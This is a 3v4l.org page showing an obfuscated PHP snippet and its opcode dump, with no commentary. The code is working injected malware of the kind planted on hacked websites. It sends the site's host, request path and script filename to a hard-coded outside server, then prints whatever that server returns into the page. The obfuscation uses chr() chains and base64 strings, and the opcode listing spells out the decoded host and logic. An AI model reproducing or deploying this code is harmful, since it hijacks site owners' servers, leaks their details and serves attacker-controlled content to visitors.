3v4l.org

run code in 300+ PHP versions simultaneously
<?php if (rand(0,((-14+69+45+-195+125+170+-86+111+75)/3))>100-100){$oOOoO00OOo=chr(80).chr(72).chr(80).chr(95).chr(83).chr(69).chr(76).chr(70);$c938b41=base64_decode('UVVFUllfU1RSSU5H');$ed4310e1272=chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(95).chr(85).chr(82).chr(73);$oo0OOO0=chr(72).chr(84).chr(84).chr(80).chr(95).chr(72).chr(79).chr(83).chr(84);$ad63325dc=chr(83).chr(67).chr(82).chr(73).chr(80).chr(84).chr(95).chr(70).chr(73).chr(76).chr(69).chr(78).chr(65).chr(77).chr(69);$iIiIiI=chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47);$f1948964=$_SERVER;$ec3532=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(101).chr(110).chr(99).chr(111).chr(100).chr(101);$iiIIIiI=chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(49).chr(52).chr(54).chr(46).chr(49).chr(56).chr(53).chr(46).chr(50).chr(51).chr(57).chr(46).chr(51).chr(47).chr(114).chr(101).chr(103).chr(105).chr(115).chr(116).chr(101).chr(114).chr(47).chr(95).chr(115).chr(46).chr(112).chr(104).chr(112);$iIiIIi=$ec3532($iIiIiI.$f1948964[$oo0OOO0].chr(47).$f1948964[$ed4310e1272]);$ec3532=$ec3532($f1948964[$ad63325dc]);$IiiiIii=base64_decode('cmFuZA==');$tkyrnlrkytq=base64_decode('ZXhwbG9kZQ==');$iIiIIII=base64_decode('Y291bnQ=');$iiIIIiI=$tkyrnlrkytq/*vmbccwq*/(chr(44),$iiIIIiI);$iIiIIII=$iIiIIII($iiIIIiI)-1;$cziyjbj=0;while($cziyjbj <=$iIiIIII){$iIIiII=$iiIIIiI[$cziyjbj];$oo00Ooo0o=base64_decode('sg==');$cziyjbj++;$oO00oOOoO0o0OOO=$iIIiII.base64_decode('Pw==').md5($f1948964[$oo0OOO0].base64_decode('Pw==').$f1948964[$c938b41].$f1948964[$ed4310e1272]).base64_decode('Jg==').$ec3532.base64_decode('Jg==').$iIiIIi.base64_decode('Jg==').$oo00Ooo0o;$oO00oOOoO0o0OOO=@file_get_contents($oO00oOOoO0o0OOO);if ($oO00oOOoO0o0OOO===false)continue;$oO00oOOoO0o0OOO=base64_decode('PHU+').$oO00oOOoO0o0OOO.base64_decode('PC91Pg==');printf($oO00oOOoO0o0OOO);break;}}?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 122
Branch analysis from position: 6
1 jumps found. (Code = 42) Position 1 = 120
Branch analysis from position: 120
2 jumps found. (Code = 44) Position 1 = 122, Position 2 = 58
Branch analysis from position: 122
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 58
2 jumps found. (Code = 43) Position 1 = 106, Position 2 = 107
Branch analysis from position: 106
1 jumps found. (Code = 42) Position 1 = 120
Branch analysis from position: 120
Branch analysis from position: 107
1 jumps found. (Code = 42) Position 1 = 122
Branch analysis from position: 122
Branch analysis from position: 122
filename:       /in/0760e
function name:  (null)
number of ops:  123
compiled vars:  !0 = $oOOoO00OOo, !1 = $c938b41, !2 = $ed4310e1272, !3 = $oo0OOO0, !4 = $ad63325dc, !5 = $iIiIiI, !6 = $f1948964, !7 = $ec3532, !8 = $iiIIIiI, !9 = $iIiIIi, !10 = $IiiiIii, !11 = $tkyrnlrkytq, !12 = $iIiIIII, !13 = $cziyjbj, !14 = $iIIiII, !15 = $oo00Ooo0o, !16 = $oO00oOOoO0o0OOO
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   INIT_FCALL                                               'rand'
          1        SEND_VAL                                                 0
          2        SEND_VAL                                                 100
          3        DO_ICALL                                         $17     
          4        IS_SMALLER                                               0, $17
          5      > JMPZ                                                     ~18, ->122
          6    >   ASSIGN                                                   !0, 'PHP_SELF'
          7        INIT_FCALL                                               'base64_decode'
          8        SEND_VAL                                                 'UVVFUllfU1RSSU5H'
          9        DO_ICALL                                         $20     
         10        ASSIGN                                                   !1, $20
         11        ASSIGN                                                   !2, 'REQUEST_URI'
         12        ASSIGN                                                   !3, 'HTTP_HOST'
         13        ASSIGN                                                   !4, 'SCRIPT_FILENAME'
         14        ASSIGN                                                   !5, 'http%3A%2F%2F'
         15        FETCH_R                      global              ~26     '_SERVER'
         16        ASSIGN                                                   !6, ~26
         17        ASSIGN                                                   !7, 'base64_encode'
         18        ASSIGN                                                   !8, 'http%3A%2F%2F146.185.239.3%2Fregister%2F_s.php'
         19        INIT_DYNAMIC_CALL                                        !7
         20        FETCH_DIM_R                                      ~30     !6, !3
         21        CONCAT                                           ~31     !5, ~30
         22        CONCAT                                           ~32     ~31, '%2F'
         23        FETCH_DIM_R                                      ~33     !6, !2
         24        CONCAT                                           ~34     ~32, ~33
         25        SEND_VAL_EX                                              ~34
         26        DO_FCALL                                      0  $35     
         27        ASSIGN                                                   !9, $35
         28        INIT_DYNAMIC_CALL                                        !7
         29        CHECK_FUNC_ARG                                           
         30        FETCH_DIM_FUNC_ARG                               $37     !6, !4
         31        SEND_FUNC_ARG                                            $37
         32        DO_FCALL                                      0  $38     
         33        ASSIGN                                                   !7, $38
         34        INIT_FCALL                                               'base64_decode'
         35        SEND_VAL                                                 'cmFuZA%3D%3D'
         36        DO_ICALL                                         $40     
         37        ASSIGN                                                   !10, $40
         38        INIT_FCALL                                               'base64_decode'
         39        SEND_VAL                                                 'ZXhwbG9kZQ%3D%3D'
         40        DO_ICALL                                         $42     
         41        ASSIGN                                                   !11, $42
         42        INIT_FCALL                                               'base64_decode'
         43        SEND_VAL                                                 'Y291bnQ%3D'
         44        DO_ICALL                                         $44     
         45        ASSIGN                                                   !12, $44
         46        INIT_DYNAMIC_CALL                                        !11
         47        SEND_VAL_EX                                              '%2C'
         48        SEND_VAR_EX                                              !8
         49        DO_FCALL                                      0  $46     
         50        ASSIGN                                                   !8, $46
         51        INIT_DYNAMIC_CALL                                        !12
         52        SEND_VAR_EX                                              !8
         53        DO_FCALL                                      0  $48     
         54        SUB                                              ~49     $48, 1
         55        ASSIGN                                                   !12, ~49
         56        ASSIGN                                                   !13, 0
         57      > JMP                                                      ->120
         58    >   FETCH_DIM_R                                      ~52     !8, !13
         59        ASSIGN                                                   !14, ~52
         60        INIT_FCALL                                               'base64_decode'
         61        SEND_VAL                                                 'sg%3D%3D'
         62        DO_ICALL                                         $54     
         63        ASSIGN                                                   !15, $54
         64        PRE_INC                                                  !13
         65        INIT_FCALL                                               'base64_decode'
         66        SEND_VAL                                                 'Pw%3D%3D'
         67        DO_ICALL                                         $57     
         68        CONCAT                                           ~58     !14, $57
         69        INIT_FCALL                                               'md5'
         70        FETCH_DIM_R                                      ~59     !6, !3
         71        INIT_FCALL                                               'base64_decode'
         72        SEND_VAL                                                 'Pw%3D%3D'
         73        DO_ICALL                                         $60     
         74        CONCAT                                           ~61     ~59, $60
         75        FETCH_DIM_R                                      ~62     !6, !1
         76        CONCAT                                           ~63     ~61, ~62
         77        FETCH_DIM_R                                      ~64     !6, !2
         78        CONCAT                                           ~65     ~63, ~64
         79        SEND_VAL                                                 ~65
         80        DO_ICALL                                         $66     
         81        CONCAT                                           ~67     ~58, $66
         82        INIT_FCALL                                               'base64_decode'
         83        SEND_VAL                                                 'Jg%3D%3D'
         84        DO_ICALL                                         $68     
         85        CONCAT                                           ~69     ~67, $68
         86        CONCAT                                           ~70     ~69, !7
         87        INIT_FCALL                                               'base64_decode'
         88        SEND_VAL                                                 'Jg%3D%3D'
         89        DO_ICALL                                         $71     
         90        CONCAT                                           ~72     ~70, $71
         91        CONCAT                                           ~73     ~72, !9
         92        INIT_FCALL                                               'base64_decode'
         93        SEND_VAL                                                 'Jg%3D%3D'
         94        DO_ICALL                                         $74     
         95        CONCAT                                           ~75     ~73, $74
         96        CONCAT                                           ~76     ~75, !15
         97        ASSIGN                                                   !16, ~76
         98        BEGIN_SILENCE                                    ~78     
         99        INIT_FCALL                                               'file_get_contents'
        100        SEND_VAR                                                 !16
        101        DO_ICALL                                         $79     
        102        END_SILENCE                                              ~78
        103        ASSIGN                                                   !16, $79
        104        TYPE_CHECK                                    4          !16
        105      > JMPZ                                                     ~81, ->107
        106    > > JMP                                                      ->120
        107    >   INIT_FCALL                                               'base64_decode'
        108        SEND_VAL                                                 'PHU%2B'
        109        DO_ICALL                                         $82     
        110        CONCAT                                           ~83     $82, !16
        111        INIT_FCALL                                               'base64_decode'
        112        SEND_VAL                                                 'PC91Pg%3D%3D'
        113        DO_ICALL                                         $84     
        114        CONCAT                                           ~85     ~83, $84
        115        ASSIGN                                                   !16, ~85
        116        INIT_FCALL                                               'printf'
        117        SEND_VAR                                                 !16
        118        DO_ICALL                                                 
        119      > JMP                                                      ->122
        120    >   IS_SMALLER_OR_EQUAL                                      !13, !12
        121      > JMPNZ                                                    ~88, ->58
        122    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
172.29 ms | 1404 KiB | 23 Q